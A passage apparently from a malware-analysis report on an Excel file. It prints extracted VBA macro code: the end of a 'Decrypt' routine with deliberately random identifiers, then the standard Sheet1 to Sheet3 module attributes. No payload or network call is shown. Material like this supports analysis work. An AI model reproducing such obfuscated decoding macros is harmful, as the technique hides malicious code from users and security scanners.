                If Mid(CFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYX, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1) = WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE Then GoTo LSub
            Next
LSub:
            Decrypt = Decrypt & Mid(JPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEO, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1)

        Case Else

            Decrypt = Decrypt & WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE

    End Select

Next

For nn = 1 To Len(enc)

Next

End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.